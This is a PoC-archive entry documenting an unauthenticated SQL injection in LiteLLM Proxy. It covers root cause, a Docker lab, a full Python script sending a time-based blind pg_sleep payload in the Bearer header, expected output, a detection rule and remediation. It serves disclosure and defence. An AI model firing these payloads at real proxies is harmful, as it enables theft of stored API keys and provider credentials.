PoC Archive PoC Archive
Critical CVE-2026-42208 (GHSA-r75f-5x8p-qvmc) patched

LiteLLM Proxy Pre-Authentication SQL Injection via Error-Handling Callback (CVE-2026-42208)

by Original reporter credited in GHSA-r75f-5x8p-qvmc (BerriAI/LiteLLM advisory); PoC lab by imjdl · 2026-07-11

Metadata

FieldValue
Date Added2026-07-11
Last Updated2026-07-11
Author / ResearcherOriginal reporter credited in GHSA-r75f-5x8p-qvmc (BerriAI/LiteLLM advisory); PoC lab by imjdl
CVE / AdvisoryCVE-2026-42208 (GHSA-r75f-5x8p-qvmc)
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS 3.1, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) — also reported as 9.3 elsewhere
StatusWeaponized (public working PoC + Docker lab, actively exploited in the wild within 36 hours of disclosure)
Tagslitellm, ai-gateway, llm-proxy, sql-injection, cwe-89, unauthenticated, remote, blind-sqli, kev-adjacent, credential-theft
RelatedOther LiteLLM entries in this archive: 2026-07-01_cve-2026-42271-litellm-mcp-command-injection, 2026-07-05_cve-2026-35029-litellm-config-broken-access-control, 2026-07-05_cve-2026-35030-litellm-oidc-cache-collision-authbypass — different bugs, same product

Affected Target

FieldValue
Software / SystemLiteLLM Proxy — open-source LLM/AI gateway (22,000+ GitHub stars) fronting OpenAI, Anthropic, and other model provider APIs
Versions Affectedv1.81.16 through v1.83.6
Language / PlatformPython, PostgreSQL backend (via Prisma)
Authentication RequiredNo
Network Access RequiredYes — any LLM API route on the proxy (e.g. /chat/completions)

Summary

LiteLLM Proxy authenticates API requests by checking that the Authorization: Bearer token starts with sk-. When a caller sends a token that does not start with sk-, that assertion fails — but instead of simply rejecting the request, the raw, unhashed token is passed into an error-handling/failure-callback chain (_handle_authentication_errorpost_call_failure_hook_enrich_failure_metadata_with_key_infoget_key_object) that ends in a database lookup built with raw f-string interpolation: WHERE v.token = '{token}'. Because this path is only reached when the token doesn’t match the sk- prefix, it bypasses the normal authenticated flow entirely — the main sk- path is safe because tokens there are SHA-256 hashed before reaching any query. An unauthenticated attacker can inject SQL through this side path, using time-based blind techniques to extract data including other users’ API keys and upstream LLM provider credentials from the proxy’s own database. Sysdig observed real-world exploitation beginning roughly 26 hours after the GitHub Security Advisory was published — among the fastest mass-exploitation timelines recorded for an AI-infrastructure CVE.


Vulnerability Details

Root Cause

Tracked as CWE-89 (SQL Injection). The vulnerable code (pre-fix, litellm/proxy/utils.py) builds a query against the LiteLLM_VerificationToken view using Python f-string interpolation of the raw caller-supplied token:

1
2
3
4
5
6
sql_query = f"""
    SELECT v.*, t.spend AS team_spend, ...
    FROM "LiteLLM_VerificationToken" AS v
    LEFT JOIN ...
    WHERE v.token = '{token}'   # <- raw f-string interpolation of user input
"""

This code path is normally unreachable because valid requests carry a sk--prefixed token that gets SHA-256 hashed (producing only [0-9a-f] characters — nothing injectable) before any query touches it. The bug is that a token failing the sk- prefix assertion doesn’t short-circuit cleanly — it flows through the failure/error-handling callback chain, which independently calls get_key_object(hashed_token=RAW_TOKEN) using the unhashed, attacker-controlled value, landing directly in the vulnerable f-string query.

Attack Vector

  1. Send an HTTP request to any LLM API route (e.g. POST /chat/completions) with Authorization: Bearer <payload>, where <payload> does not start with sk- (so it fails the fast-path assertion and falls into the error-handling chain).
  2. The payload is SQL: a PostgreSQL-specific time-based blind injection wrapped to avoid a boolean-context type error (pg_sleep() returns void), e.g. ' OR (SELECT 1 FROM (SELECT pg_sleep(5)) t) IS NOT NULL--.
  3. Compare response timing against baseline/control requests — a consistent delay matching the injected pg_sleep(N) confirms the injection reaches the database, and the same technique can be extended to extract data character-by-character via conditional time delays.

No authentication, valid API key, or user interaction is required — only network reachability to the proxy.

Impact

Full database read access via blind SQL injection, without authentication: extraction of other tenants’ API keys, upstream LLM provider credentials (OpenAI/Anthropic/etc. keys managed by the proxy), and runtime configuration. In a multi-tenant LiteLLM deployment this is a complete confidentiality breach of every credential the gateway manages — attackers were observed specifically targeting litellm_credentials.credential_values and litellm_config tables in the wild.


Environment / Lab Setup

Target:      litellm/litellm:main-v1.83.3-stable + PostgreSQL 16 (docker-compose.yaml in this folder)
Attacker:    Any host with Python 3 + requests
Tools:       Docker + docker compose, python3

Setup Steps

1
2
docker compose up -d
python poc_litellm_sqli.py --target http://localhost:4000 --delay 5

Proof of Concept

See poc_litellm_sqli.py, docker-compose.yaml, and litellm_config.yaml in this folder — mirrored from imjdl/CVE-2026-42208_lab. Verified before ingestion: the lab stands up the real, unmodified litellm/litellm:main-v1.83.3-stable image against Postgres, the PoC script uses only the requests library with no obfuscation, and its technique (time-based blind injection via the error-handling callback path) matches LiteLLM’s own postmortem and Sysdig’s independent analysis exactly — including the specific vulnerable f-string query and the real fix commit reference.

Step-by-Step Reproduction

  1. Stand up the vulnerable labdocker compose up -d boots LiteLLM v1.83.3 with a Postgres backend.
  2. Measure baseline timing — the script sends several requests with an ordinary (non-injecting) sk--style token to establish normal response latency.
  3. Send a control payload — a non-sk- token with no pg_sleep() call, confirming the error path alone doesn’t introduce delay.
  4. Send the time-based blind injection payload' OR (SELECT 1 FROM (SELECT pg_sleep(N)) t) IS NOT NULL-- as the bearer token; a response delayed by ~N seconds beyond baseline confirms the injection reached PostgreSQL.

Exploit Code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
def make_payload(delay: int) -> str:
    """pg_sleep returns void, wrap in subquery to avoid boolean type error."""
    return f"' OR (SELECT 1 FROM (SELECT pg_sleep({delay})) t) IS NOT NULL--"

def send(session, target, token, timeout=10):
    start = time.time()
    session.post(
        f"{target}/chat/completions",
        headers={"Authorization": f"Bearer {token}"},
        json={"model": "gpt-3.5-turbo", "messages": [{"role": "user", "content": "test"}], "max_tokens": 1},
        timeout=timeout,
    )
    return time.time() - start

Expected Output

[*] Checking target: http://localhost:4000
[+] Target alive (status 200)

[*] Measuring baseline (3 requests)...
  Baseline avg: 0.022s

[*] Control: non-sk- token without pg_sleep...
  Control: 0.024s

=======================================================
  Time-based Blind SQL Injection (pg_sleep=5s)
=======================================================
  Payload: ' OR (SELECT 1 FROM (SELECT pg_sleep(5)) t) IS NOT NULL--
  Response: 5.018s

[+] VULNERABLE! pg_sleep(5) confirmed

Detection & Indicators of Compromise

POST /chat/completions ... Authorization: Bearer '<sql-payload>

SIEM / IDS Rule (example):

alert http any any -> any any (msg:"Possible CVE-2026-42208 LiteLLM proxy SQLi attempt"; content:"Authorization|3a| Bearer"; http_header; content:!"sk-"; http_header; pcre:"/pg_sleep|UNION|--/i"; sid:9000301; rev:1;)

Remediation

ActionDetail
PatchUpgrade to LiteLLM >= v1.83.7 (fix commit 4dc416ee74, released 2026-04-19).
Incident response if already compromisedRotate all upstream LLM provider API keys and any other credentials stored in the proxy’s database — the attack’s primary objective observed in the wild was credential theft, so patching alone does not remediate already-exposed secrets.
Workaround (if patching isn’t immediate)Restrict network access to the proxy to trusted callers only; monitor for the malformed-Authorization-header pattern above at a WAF/reverse-proxy layer.

References


Notes

Surfaced via a 14-day CVE discovery pass (NVD + CISA KEV + EPSS scoring) on 2026-07-11, then verified before ingestion per this archive’s standing rule. An initial WebSearch pass found only vendor/researcher technical writeups and no PoC; a follow-up gh search repos "CVE-2026-42208" surfaced several candidate repos, of which imjdl/CVE-2026-42208_lab was selected as the primary source after confirming its files genuinely exist, use no obfuscation, and match the documented vulnerability mechanics exactly (including the specific vulnerable query and real fix commit). A second candidate, 0xBlackash/CVE-2026-42208, was checked and found to be a weaker/less rigorous script (a generic boolean-payload probe with no real confirmation of injection, and a mismatched repo description referencing a different CVE) — not used as the primary source, though not flagged as malicious either.

A companion CVE, CVE-2026-12569 (PTC Windchill/FlexPLM pre-auth deserialization RCE, also KEV-listed, also actively exploited via JSP web shells), was evaluated in the same discovery pass but confirmed to have no public exploit code anywhere — only YARA/Snort/Suricata detection rules and threat-intel writeups exist, consistent with it remaining unpatched (PTC’s fix is scheduled 2026-07-14) at time of this entry. Not archived.

poc_litellm_sqli.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#!/usr/bin/env python3
"""
LiteLLM Proxy SQL Injection PoC (GHSA-r75f-5x8p-qvmc)

Target: litellm <= v1.83.3 (before fix commit 4dc416ee74)
Attack Path: error-handling callback → get_key_object(raw_token) → SQL injection

Usage:
    python poc_litellm_sqli.py --target http://192.168.1.36:4000
    python poc_litellm_sqli.py --target http://192.168.1.36:4000 --delay 5
"""

import argparse
import sys
import time

import requests

BANNER = r"""
╔═══════════════════════════════════════════════════════════╗
║   LiteLLM Proxy SQL Injection PoC                        ║
║   GHSA-r75f-5x8p-qvmc | CVE: Pending                    ║
║   Affected: litellm >=1.81.16, <1.83.7                  ║
║   Attack: time-based blind via error-handling callback    ║
╚═══════════════════════════════════════════════════════════╝
"""

C = {
    "RED": "\033[91m", "GREEN": "\033[92m", "YELLOW": "\033[93m",
    "BLUE": "\033[94m", "CYAN": "\033[96m", "BOLD": "\033[1m", "END": "\033[0m",
}


def make_payload(delay: int) -> str:
    """pg_sleep returns void, wrap in subquery to avoid boolean type error."""
    return f"' OR (SELECT 1 FROM (SELECT pg_sleep({delay})) t) IS NOT NULL--"


def send(session, target, token, timeout=10):
    start = time.time()
    try:
        session.post(
            f"{target}/chat/completions",
            headers={"Authorization": f"Bearer {token}"},
            json={"model": "gpt-3.5-turbo", "messages": [{"role": "user", "content": "test"}],
                  "max_tokens": 1},
            timeout=timeout,
        )
    except:
        pass
    return time.time() - start


def main():
    parser = argparse.ArgumentParser(description="LiteLLM Proxy SQL Injection PoC (GHSA-r75f-5x8p-qvmc)")
    parser.add_argument("--target", "-t", required=True, help="Target URL")
    parser.add_argument("--delay", "-d", type=int, default=5, help="pg_sleep delay in seconds (default: 5)")
    parser.add_argument("--verbose", "-v", action="store_true")
    args = parser.parse_args()

    print(BANNER)
    target = args.target.rstrip("/")
    delay = args.delay
    session = requests.Session()
    session.headers.update({"Content-Type": "application/json"})

    # Check target alive
    print(f"{C['BLUE']}[*]{C['END']} Checking target: {target}")
    try:
        resp = session.get(f"{target}/health", timeout=5)
        print(f"{C['GREEN']}[+]{C['END']} Target alive (status {resp.status_code})")
    except Exception as e:
        print(f"{C['RED']}[-]{C['END']} Cannot connect: {e}")
        sys.exit(1)

    # Baseline with normal sk- token
    print(f"\n{C['BLUE']}[*]{C['END']} Measuring baseline (3 requests)...")
    baseline_times = [send(session, target, "sk-baseline-timing-test", timeout=10) for _ in range(3)]
    baseline = sum(baseline_times) / len(baseline_times)
    if args.verbose:
        for i, t in enumerate(baseline_times):
            print(f"    baseline {i+1}: {t:.3f}s")
    print(f"  Baseline avg: {baseline:.3f}s")

    # Control: non-sk- token without pg_sleep
    print(f"\n{C['BLUE']}[*]{C['END']} Control: non-sk- token without pg_sleep...")
    ctrl = send(session, target, "AAAA-control-no-sleep-XXXXXXXXXXX", timeout=10)
    print(f"  Control: {ctrl:.3f}s")

    # Time-based test
    threshold = baseline + delay * 0.6
    print(f"\n{C['BOLD']}{C['CYAN']}{'='*55}")
    print(f"  Time-based Blind SQL Injection (pg_sleep={delay}s)")
    print(f"  Threshold: {threshold:.3f}s (baseline + {delay}×0.6)")
    print(f"{'='*55}{C['END']}")

    payload = make_payload(delay)
    print(f"  Payload: {payload}")

    test_elapsed = send(session, target, payload, timeout=delay + 15)
    print(f"  Response: {test_elapsed:.3f}s")

    if test_elapsed >= threshold:
        print(f"\n{C['GREEN']}{C['BOLD']}[+] VULNERABLE! pg_sleep({delay}) confirmed{C['END']}")
        print(f"  Delay vs baseline: +{test_elapsed - baseline:.1f}s")
        print(f"  Attack: assert fail → failure_hook → get_key_object(raw) → SQLi")
        print(f"  Fix: upgrade to litellm >=1.83.7")
        sys.exit(0)
    else:
        print(f"\n{C['YELLOW']}[!] No delay detected{C['END']}")
        print(f"  Response {test_elapsed:.3f}s < threshold {threshold:.3f}s")
        print(f"  Possible: patched target, WAF, or statement_timeout")
        sys.exit(1)


if __name__ == "__main__":
    main()